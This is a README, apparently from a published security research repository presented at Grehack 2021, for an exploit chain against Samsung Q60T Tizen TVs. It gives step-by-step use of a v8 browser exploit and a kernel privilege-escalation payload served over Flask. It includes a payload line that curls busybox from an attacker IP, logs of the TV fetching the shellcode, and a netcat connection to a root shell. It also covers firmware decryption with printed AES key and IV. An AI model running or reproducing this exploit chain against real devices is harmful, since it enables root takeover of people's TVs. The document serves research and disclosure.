synacktiv/samsung-q60t-exploitTizenベースのSamsung Q60T TVを対象とするエクスプロイトスイート。v8およびカーネルエクスプロイト、ファームウェアの復号、ペイロード配信によるルートシェルアクセスを含む。
Tizen exploit
Grehack 2021 で発表されたエクスプロイトおよびファームウェア復号化スクリプトです。
スライドは slides </slides/>_ ディレクトリ内にあり、リプレイ動画は Youtube <https://www.youtube.com/watch?v=c_7I1j8kjgI>_ で公開されています。
このリポジトリには3つのディレクトリが含まれています:
exploit/: v8エクスプロイトとカーネルエクスプロイトを含みます。firmware/: ファームウェア復号化のスクリプトを含みます。slides/: この作業についてGrehackで行われたプレゼンテーションを含みます。まず、payload.c 内の攻撃者IPアドレスを変更する必要があります:
.. code-block:: c
char cmd_busybox[] = "/usr/bin/curl http://192.168.1.37:5000/static/busybox -o /tmp/busybox\x00";
exec_as_root(cmd_busybox, sizeof(cmd_busybox));
LPEペイロードをコンパイルし、生成されたJavaScriptファイルを static/ ディレクトリにコピーします:
.. code-block:: console
$ make -C payload/
arm-linux-gnueabi-gcc -fPIC -fPIE -nostdlib -fno-builtin -Os -Wall -c -o entry.o entry.S
arm-linux-gnueabi-gcc -fPIC -fPIE -nostdlib -fno-builtin -Os -Wall -c -o payload.o payload.c
arm-linux-gnueabi-ld -T function_order.ld -o payload.elf entry.o payload.o function_order.ld
objcopy -O binary payload.elf payload.bin
echo "let shellcode = [" > payload.js
xxd -i payload.bin | tail -n +2 | head -n -2 >> payload.js
echo "];" >> payload.js
$ cp payload/payload.js static/shellcode.js
Flaskアプリを実行し、テレビのブラウザでWebページを開きます:
.. code-block:: console
$ ./run.sh
* Serving Flask app "app.py" (lazy loading)
* Environment: production
WARNING: This is a development server. Do not use it in a production deployment.
Use a production WSGI server instead.
* Debug mode: on
* Running on http://0.0.0.0:5000/ (Press CTRL+C to quit)
* Restarting with stat
* Debugger is active!
192.168.1.36 - - [12/Apr/2021 17:27:38] "GET / HTTP/1.1" 200 -
192.168.1.36 - - [12/Apr/2021 17:27:38] "GET /static/exploit.js HTTP/1.1" 200 -
192.168.1.36 - - [12/Apr/2021 17:27:38] "GET /static/shellcode.js HTTP/1.1" 200 -
[2021-04-12 17:27:38,483] INFO in app: 2021-04-12T15:27:17.467Z: Let's go !
192.168.1.36 - - [12/Apr/2021 17:27:38] "GET /log?str=2021-04-12T15:27:17.467Z:%20Let%27s%20go%20! HTTP/1.1" 200 -
...
[2021-04-12 17:27:38,984] INFO in app: 2021-04-12T15:27:17.979Z: ok !
192.168.1.36 - - [12/Apr/2021 17:27:38] "GET /log?str=2021-04-12T15:27:17.979Z:%20ok%20! HTTP/1.1" 200 -
192.168.1.36 - - [12/Apr/2021 17:27:39] "GET /static/busybox HTTP/1.1" 200 -
ポート4343でrootシェルが取得できます:
.. code-block:: console
$ nc 192.168.1.36 4343 -vvv
(UNKNOWN) [192.168.1.36] 4343 (?) open
id
uid=0(root) gid=0(root) context="_"
ファームウェアをダウンロード: https://www.samsung.com/us/support/downloads/?model=N0002201&modelCode=QN43Q60TBFXZA
解凍:
.. code-block:: console
$ unzip T-NKLAKUC_2201.0.zip
Archive: T-NKLAKUC_2201.0.zip
inflating: T-NKLAKUC/image/upgrade.msd
inflating: T-NKLAKUC/image/info.txt
復号化:
.. code-block:: console
$ python3 firmware/decrypt.py T-NKLAKUC/image/upgrade.msd /tmp/decrypted/
[+] aes_key = 5bab1098dab48792619ebd63650d929f
[+] aes_iv = 142610ca2fb201fd78ad8faf328bc883
...
[+] section 1, offset = 0x108c, size = 0x4c010
[+] first block = 8137962a88ef836b74f9cdda78a1747b
...
[+] last block = 10101010101010101010101010101010
/tmp/decrypted/ddr.init
[+] writing in /tmp/decrypted/ddr.init
[+] section 2, offset = 0x4d09c, size = 0x2fe010
[+] first block = 0f30a0e1000052e30500000a083043e2
...
[+] last block = 10101010101010101010101010101010
/tmp/decrypted/seret.bin
[+] writing in /tmp/decrypted/seret.bin
[+] section 3, offset = 0x34b0ac, size = 0x6b5010
[+] first block = 27051956bab5bfb361e80e7a006b4ec0
...
[+] last block = 10101010101010101010101010101010
/tmp/decrypted/uImage
[+] writing in /tmp/decrypted/uImage
[+] section 4, offset = 0xa000bc, size = 0x17e010
[+] first block = d00dfeed0000be82000000380000aabc
...
[+] last block = 10101010101010101010101010101010
/tmp/decrypted/dtb.bin
[+] writing in /tmp/decrypted/dtb.bin
[+] section 5, offset = 0xb7e0cc, size = 0x410
[+] first block = 00000000000000000000000000000000
...
[+] last block = 10101010101010101010101010101010
/tmp/decrypted/sign.bin
[+] writing in /tmp/decrypted/sign.bin
[+] section 6, offset = 0xb7e4dc, size = 0x3fe010
[+] first block = bdf2fdf7c10a6e894df26d830fc20f7a
...
[+] last block = 10101010101010101010101010101010
/tmp/decrypted/secos.bin
[+] writing in /tmp/decrypted/secos.bin
[+] section 7, offset = 0xf7c4ec, size = 0xfe010
[+] first block = 3abd6e7e0ab706ac9a2f5163515d1364
...
[+] last block = 10101010101010101010101010101010
/tmp/decrypted/secos_drv.bin
[+] writing in /tmp/decrypted/secos_drv.bin
[+] section 8, offset = 0x107a4fc, size = 0x4bc0e010
[+] first block = 56444653323030376d6b66732e766466
...
[+] last block = 10101010101010101010101010101010
/tmp/decrypted/platform.img
[+] writing in /tmp/decrypted/platform.img
[+] section 9, offset = 0x4cc8850c, size = 0x2f0010
[+] first block = 68737173cd040000f74ae86100000200
...
[+] last block = 10101010101010101010101010101010
/tmp/decrypted/factory_peq.img
[+] writing in /tmp/decrypted/factory_peq.img
.. code-block:: console
$ file /tmp/decrypted/*
/tmp/decrypted/ddr.init: data
/tmp/decrypted/dtb.bin: Device Tree Blob version 17, size=48770, boot CPU=0, string block size=5062, DT structure block size=43652
/tmp/decrypted/factory_peq.img: Squashfs filesystem, little endian, version 4.0, zlib compressed, 3034483 bytes, 1229 inodes, blocksize: 131072 bytes, created: Wed Jan 19 17:31:35 2022
/tmp/decrypted/platform.img: data
/tmp/decrypted/secos.bin: data
/tmp/decrypted/secos_drv.bin: data
/tmp/decrypted/seret.bin: data
/tmp/decrypted/sign.bin: data
/tmp/decrypted/uImage: u-boot legacy uImage, Linux-4.1.10, Linux/ARM, OS Kernel Image (Not compressed), 7032512 bytes, Wed Jan 19 13:13:30 2022, Load Address: 0x80008000, Entry Point: 0x80008000, Header CRC: 0xBAB5BFB3, Data CRC: 0x1FD62A2B